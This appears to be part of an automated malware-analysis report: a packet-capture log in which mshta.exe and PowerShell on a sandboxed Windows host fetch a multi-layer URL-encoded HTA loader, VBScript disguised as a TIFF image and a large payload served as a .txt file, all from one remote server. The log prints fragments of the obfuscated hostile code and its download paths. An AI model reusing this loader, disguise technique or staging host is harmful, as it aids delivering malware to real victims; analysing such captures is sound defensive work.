                                                                                                                                                                                                Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 65 25 33 44 4a 61 76 61 53 63 72 69 70 74 25 33 45 6d 25 33 44 25 32 37 25 32 35 33 43 73 63 72 69 70 74 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 35 32 31 2d 2d 25 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 38 25 32 35 32 32 25 32 35 32 35 33 43 25 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 6d 65 74 61 25 32 35 32 35 32 30 68 74 74 70 2d 65 71 75 69 76 25 32 35 32 35 33 44 25 32 35 32 35 32 32 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 25 32 35 32 35 32 32 25 32 35 32 35 32 30 63 6f 6e 74 65 6e 74 25 32 35 32 35 33 44 25 32 35 32 35 32 32 49 45 25 32 35 32 35 33 44 45 6d 75 6c 61 74 65 49 45 38 25 32 35 32 35 32 32 25 32 35 32 35 32 30 25 32 35 32 35 33 45 25 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: <script>...document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253C%252521DOCTYPE%252520html%25253E%25250A%25253Cmeta%252520http-equiv%25253D%252522X-UA-Compatible%252522%252520content%25253D%252522IE%25253DEmulateIE8%252522%252520%25253E%25250A%25253Chtml%25253E%25250A%25253Cbody%25253E%25250A%25253CsCRIpt%252520typE%25253D%252522tEXT/vBscrIpT%252522%25253E%25250ADIm%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252
                                                                                                                                                                                                Oct 29, 2024 16:30:35.778573990 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:30:34 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:26:18 GMT
                                                                                                                                                                                                ETag: "20ccf-625988057b33c"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 134351
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Content-Type: application/hta
                                                                                                                                                                                                Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 65 25 33 44 4a 61 76 61 53 63 72 69 70 74 25 33 45 6d 25 33 44 25 32 37 25 32 35 33 43 73 63 72 69 70 74 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 35 32 31 2d 2d 25 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 38 25 32 35 32 32 25 32 35 32 35 33 43 25 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 6d 65 74 61 25 32 35 32 35 32 30 68 74 74 70 2d 65 71 75 69 76 25 32 35 32 35 33 44 25 32 35 32 35 32 32 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 25 32 35 32 35 32 32 25 32 35 32 35 32 30 63 6f 6e 74 65 6e 74 25 32 35 32 35 33 44 25 32 35 32 35 32 32 49 45 25 32 35 32 35 33 44 45 6d 75 6c 61 74 65 49 45 38 25 32 35 32 35 32 32 25 32 35 32 35 32 30 25 32 35 32 35 33 45 25 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: <script>...document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253C%252521DOCTYPE%252520html%25253E%25250A%25253Cmeta%252520http-equiv%25253D%252522X-UA-Compatible%252522%252520content%25253D%252522IE%25253DEmulateIE8%252522%252520%25253E%25250A%25253Chtml%25253E%25250A%25253Cbody%25253E%25250A%25253CsCRIpt%252520typE%25253D%252522tEXT/vBscrIpT%252522%25253E%25250ADIm%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                1192.168.2.2249166192.3.101.21803824C:\Windows\System32\mshta.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                Oct 29, 2024 16:30:38.005007982 CET461OUTGET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                Accept-Language: en-US
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Range: bytes=8896-
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Host: 192.3.101.21
                                                                                                                                                                                                If-Range: "20ccf-625988057b33c"
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683048010 CET1236INHTTP/1.1 206 Partial Content
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:30:38 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:26:18 GMT
                                                                                                                                                                                                ETag: "20ccf-625988057b33c"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 125455
                                                                                                                                                                                                Content-Range: bytes 8896-134350/134351
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Content-Type: application/hta
                                                                                                                                                                                                Data Raw: 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: 20%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25253A%252520%252520%252520%252520%252520%252520%252520%25252
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683108091 CET212INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683118105 CET1236INData Raw: 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32
                                                                                                                                                                                                Data Ascii: 252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683135986 CET1236INData Raw: 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35
                                                                                                                                                                                                Data Ascii: 20%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683146954 CET1236INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683157921 CET1236INData Raw: 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25
                                                                                                                                                                                                Data Ascii: 2520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683171034 CET848INData Raw: 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25
                                                                                                                                                                                                Data Ascii: 2520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683183908 CET1236INData Raw: 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32
                                                                                                                                                                                                Data Ascii: 520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683319092 CET212INData Raw: 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32
                                                                                                                                                                                                Data Ascii: 252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683403969 CET1236INData Raw: 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25
                                                                                                                                                                                                Data Ascii: 2520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688646078 CET1236INData Raw: 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35
                                                                                                                                                                                                Data Ascii: %252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2525


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                2192.168.2.2249167192.3.101.21803932C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                Oct 29, 2024 16:30:47.037684917 CET383OUTGET /412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Host: 192.3.101.21
                                                                                                                                                                                                Connection: Keep-Alive


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                3192.168.2.2249171192.3.101.21803052C:\Windows\System32\mshta.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                Oct 29, 2024 16:31:01.433976889 CET496OUTGET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                Accept-Language: en-US
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                If-Modified-Since: Tue, 29 Oct 2024 07:26:18 GMT
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Host: 192.3.101.21
                                                                                                                                                                                                If-None-Match: "20ccf-625988057b33c"
                                                                                                                                                                                                Oct 29, 2024 16:31:02.124891996 CET275INHTTP/1.1 304 Not Modified
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:31:02 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:26:18 GMT
                                                                                                                                                                                                ETag: "20ccf-625988057b33c"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                4192.168.2.2249172192.3.101.2180808C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                Oct 29, 2024 16:31:07.313677073 CET383OUTGET /412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Host: 192.3.101.21
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Oct 29, 2024 16:31:07.991652012 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:31:07 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:23:33 GMT
                                                                                                                                                                                                ETag: "22940-62598767c9454"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 141632
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Content-Type: image/tiff
                                                                                                                                                                                                Data Raw: ff fe 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 77 00 73 00 6d 00 61 00 6e 00 2c 00 20 00 63 00 6f 00 6e 00 53 00 74 00 72 00 2c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2c 00 20 00 61 00 6e 00 6f 00 72 00 72 00 69 00 6e 00 63 00 6f 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 6d 00 65 00 72 00 63 00 61 00 6e 00 74 00 69 00 6c 00 6d 00 65 00 6e 00 74 00 65 00 46 00 6c 00 61 00 67 00 73 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 63 00 6f 00 6e 00 4f 00 70 00 74 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 6d 00 65 00 72 00 63 00 61 00 6e 00 74 00 69 00 6c 00 6d 00 65 00 6e 00 74 00 65 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 75 00 74 00 68 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: private function CreateSession(wsman, conStr, optDic, anorrinco) dim mercantilmenteFlags dim conOpt dim mercantilmente dim authVal dim encodingVal dim encryptVal dim pw dim tout ' proxy information dim proxyAccessType dim proxyAccessTypeVal dim proxyAuthenticationMechanism dim proxyAuthenticationMechanismVal dim proxyUsername dim proxyPassword mercantilmenteFlags = 0
                                                                                                                                                                                                Oct 29, 2024 16:31:07.991779089 CET212INData Raw: 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 79 00 70 00 65 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 79
                                                                                                                                                                                                Data Ascii: proxyAccessType = 0 proxyAccessTypeVal = 0 proxyAuthenticationMechanism = 0 proxyAuthent
                                                                                                                                                                                                Oct 29, 2024 16:31:07.991796970 CET1236INData Raw: 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 4d 00 65 00 63 00 68 00 61 00 6e 00 69 00 73 00 6d 00 56 00 61 00 6c 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d
                                                                                                                                                                                                Data Ascii: icationMechanismVal = 0 proxyUsername = "" proxyPassword = "" set conOpt = Nothing if optDic.
                                                                                                                                                                                                Oct 29, 2024 16:31:07.991822958 CET1236INData Raw: 00 61 00 6e 00 2e 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 46 00 6c 00 61 00 67 00 55 00 54 00 46 00 38 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 65 00 6c 00 73 00 65 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20
                                                                                                                                                                                                Data Ascii: an.SessionFlagUTF8 else ' Invalid! ASSERTBOOL false, "The specified encoding flag is
                                                                                                                                                                                                Oct 29, 2024 16:31:07.991842031 CET1236INData Raw: 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 52 00 45 00 4d 00 4f 00 54 00 45 00 29 00 2c 00 20 00 20 00 20 00 20 00 20 00 22 00 54 00 68 00 65 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41
                                                                                                                                                                                                Data Ascii: xists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
                                                                                                                                                                                                Oct 29, 2024 16:31:07.991867065 CET1236INData Raw: 00 27 00 2d 00 61 00 75 00 74 00 68 00 3a 00 6e 00 6f 00 6e 00 65 00 27 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 41 00 53 00 53 00 45 00 52 00 54 00 42 00 4f 00 4f 00 4c
                                                                                                                                                                                                Data Ascii: '-auth:none'" ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' optio
                                                                                                                                                                                                Oct 29, 2024 16:31:07.991884947 CET848INData Raw: 00 6e 00 6f 00 74 00 20 00 76 00 61 00 6c 00 69 00 64 00 20 00 66 00 6f 00 72 00 20 00 27 00 2d 00 61 00 75 00 74 00 68 00 3a 00 62 00 61 00 73 00 69 00 63 00 27 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20
                                                                                                                                                                                                Data Ascii: not valid for '-auth:basic'" mercantilmenteFlags = mercantilmenteFlags OR wsman.SessionFlagCredUsernameP
                                                                                                                                                                                                Oct 29, 2024 16:31:07.992110968 CET1236INData Raw: 00 6e 00 74 00 45 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 43 00 45 00 52 00 54 00 29 00 2c 00 20 00 22 00 54 00 68 00 65 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 43 00 45
                                                                                                                                                                                                Data Ascii: ntExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'" mercantilmenteF
                                                                                                                                                                                                Oct 29, 2024 16:31:07.992161036 CET1236INData Raw: 00 6e 00 61 00 6c 00 2e 00 20 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 41 00 53 00 53 00 45 00 52 00 54 00 42 00 4f 00 4f 00 4c 00 20 00 6e 00 6f 00 74 00 20 00 6f 00 70
                                                                                                                                                                                                Data Ascii: nal. ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid
                                                                                                                                                                                                Oct 29, 2024 16:31:07.992178917 CET1236INData Raw: 00 73 00 20 00 6e 00 6f 00 74 00 20 00 76 00 61 00 6c 00 69 00 64 00 20 00 66 00 6f 00 72 00 20 00 27 00 2d 00 61 00 75 00 74 00 68 00 3a 00 63 00 65 00 72 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 65 00 27 00 22 00 0d 00 0a 00 20 00 20 00 20
                                                                                                                                                                                                Data Ascii: s not valid for '-auth:certificate'" ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NP
                                                                                                                                                                                                Oct 29, 2024 16:31:07.997446060 CET1236INData Raw: 00 20 00 66 00 6f 00 72 00 20 00 27 00 2d 00 61 00 75 00 74 00 68 00 3a 00 63 00 72 00 65 00 64 00 73 00 73 00 70 00 27 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 41 00 53
                                                                                                                                                                                                Data Ascii: for '-auth:credssp'" ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' optio


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                5192.168.2.2249175192.3.101.21803776C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                Oct 29, 2024 16:31:40.352051973 CET77OUTGET /412/LLMCRTT.txt HTTP/1.1
                                                                                                                                                                                                Host: 192.3.101.21
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280137062 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:31:40 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:21:36 GMT
                                                                                                                                                                                                ETag: "a1000-625986f86b63c"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 659456
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Content-Type: text/plain
